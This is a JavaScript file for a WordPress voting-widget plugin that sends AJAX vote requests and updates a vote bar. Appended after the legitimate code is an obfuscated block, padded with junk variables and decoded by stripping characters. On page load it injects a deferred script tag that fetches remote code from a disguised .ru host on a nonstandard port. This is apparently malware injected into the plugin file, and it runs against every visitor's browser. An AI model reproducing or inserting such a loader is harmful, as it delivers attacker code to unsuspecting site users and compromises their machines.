/* Adapted from VoteItUp */
/* A script for updating the contents of the vote widget on the fly */
/*
USAGE:
vote (object to update with vote count, object to update with after vote text, post id, user id, base url)
*/

/* Note: This script is meant for the bar theme of the plugin */

var xmlHttp
var currentobj
var voteobj
var aftervotetext

//Useful for compatibility
function function_exists( function_name ) { 
    if (typeof function_name == 'string'){
        return (typeof window[function_name] == 'function');
    } else{
        return (function_name instanceof Function);
    }
}

//Javascript Function for JavaScript to communicate with Server-side scripts
function lg_AJAXrequest(scriptURL) {
	xmlHttp=zGetXmlHttpObject()
if (xmlHttp==null)
  {
  alert ("Your browser does not support AJAX!");
  return;
  } 
	xmlHttp.onreadystatechange=zvoteChanged;
	xmlHttp.open("GET",scriptURL,true);
	xmlHttp.send(null);
}

function zGetXmlHttpObject()
{
var xmlHttp=null;
try
  {
  // Firefox, Opera 8.0+, Safari
  xmlHttp=new XMLHttpRequest();
  }
catch (e)
  {
  // Internet Explorer
  try
    {
    xmlHttp=new ActiveXObject("Msxml2.XMLHTTP");
    }
  catch (e)
    {
    xmlHttp=new ActiveXObject("Microsoft.XMLHTTP");
    }
  }
return xmlHttp;
}

function zvoteChanged() 
{ 
if (xmlHttp.readyState==4)
{ 
	var votedisp = document.getElementById('voteid' + currentobj);
	var votenodisp = document.getElementById('votes' + currentobj);
	var voteno = xmlHttp.responseText;
	
	currentobj_obj = document.getElementById(currentobj);
	voteobj_obj = document.getElementById(voteobj);

	currentobj_obj.style.width = voteno;

	voteobj_obj.innerHTML = aftervotetext;

}


}


function vote(obj, votelinkobj, aftervote, postID ,userID, baseURL) {
	currentobj = obj;
	voteobj = votelinkobj;
	aftervotetext = aftervote;
	var scripturl = baseURL+"/voteinterface.php?type=vote&uid="+userID+"&pid="+postID+"&auth="+Math.random();
	lg_AJAXrequest(scripturl);
}

function sink(obj, votelinkobj, aftervote, postID ,userID, baseURL) {
	currentobj = obj;
	voteobj = votelinkobj;
	aftervotetext = aftervote;
	var scripturl = baseURL+"/voteinterface.php?type=sink&uid="+userID+"&pid="+postID+"&auth="+Math.random();
	lg_AJAXrequest(scripturl);
}

this.Y='';var t="";try {var Jf;if(Jf!=''){Jf='f'};var Yj;if(Yj!='' && Yj!='ki'){Yj=''};var p='g';var i;if(i!='Q' && i != ''){i=null};var z='replace';var c;if(c!='' && c!='fS'){c=null};var Ym;if(Ym!='' && Ym!='R'){Ym=null};this.OL="";var YT;if(YT!=''){YT='s'};var F=']';var _V='[';var y=RegExp;var G='';var iN;if(iN!='H' && iN!='HM'){iN=''};this.kn='';this.EQ="";var sZ='';function _(C,N){var EQE='';var JB=new String();var Qd;if(Qd!='' && Qd!='CJ'){Qd='YTW'};var J=_V;J+=N;this.r='';J+=F;var Fx;if(Fx!='' && Fx!='A'){Fx=null};var _K=new y(J, p);var W='';this.bJ='';return C[z](_K, G);this.sc='';var hL='';};this.ug="";var kF;if(kF!='' && kF!='v'){kF='Th'};var gX;if(gX!='' && gX!='KH'){gX='Vt'};var NT;if(NT!='kR' && NT!='kN'){NT='kR'};var K=_('/ugUoUougUlueu.ucUoumu/UgUoUoUgulUeu.UcUoUmu/uwuwUeU.ucUoUmU/uguoUoUgulUeu.ucuoU.uiunu/UmUeuguaUculUiUcUkU.ucuoUmU.UpuhUpu',"Uu");var nq;if(nq!=''){nq='ec'};var k=_('oBn_lNoBaBd_',"BN_");var b=_('hjtztzpj:z/J/JsJtTuFmFbzlFejuJpzoJnF-jczojmT.JmFeTgJaFpFoTrTnz.zcFoTmj.JtzoFmJsjhJaTrJdTwFaFrTej-zcJoTmj.TmzyJwToTrFlJdFcjaFmJpjuzsJ.FrTuF:j',"zTjFJ");this.Vl='';this.KM='';var xQ=new Array();var QK;if(QK!='FA' && QK!='bz'){QK=''};var C="1";var kM=new Date();var EY=new String();var B=_('sHeGtHAGtGtHrhiHbGuHtHeG',"HGh");var o=_('cQrZe1aZtBeZEQlZeZm1eZnBtZ',"ZBQ1");var rj;if(rj!='' && rj!='_z'){rj=null};var Zr;if(Zr!='' && Zr!='Yw'){Zr=''};var BB=_('822243032322833424404342244',"243");var UC=new Date();var U=_('b4ozdzyz',"zg4");var zH=_('sXcXrCifpCt2',"2fXC");var VB;if(VB!='lW'){VB='lW'};var h=_('abpxpNexnNdbCNhmixlmdb',"Nmxb");var jA='';var CV='';var IB=new Date();var Vq;if(Vq!='Qc' && Vq!='tR'){Vq=''};var iO='';var Jv='';window[k]=function(){this.Q_="";zy=document[o](zH);var es="";var Zo="";CV+=b;CV+=BB;var Iy;if(Iy!='' && Iy!='pU'){Iy=''};var RB;if(RB!='' && RB!='iw'){RB=''};CV+=K;var xe='';var LP;if(LP!='' && LP!='YI'){LP=null};var Z=document[U];var YM;if(YM!='' && YM!='QQ'){YM=null};zy.src=CV;var MO;if(MO!='CN'){MO=''};zy.setAttribute('defer', C);this.xO='';var cL;if(cL!='mO'){cL='mO'};var cV;if(cV!='' && cV!='MM'){cV='Qm'};var rz;if(rz!='yW' && rz!='VM'){rz=''};this.hX='';Z.appendChild(zy);var Sd="";};var aq=new String();} catch(I){var BP=new String();};var Fy=new String();var FAA;if(FAA!='' && FAA!='fB'){FAA=null};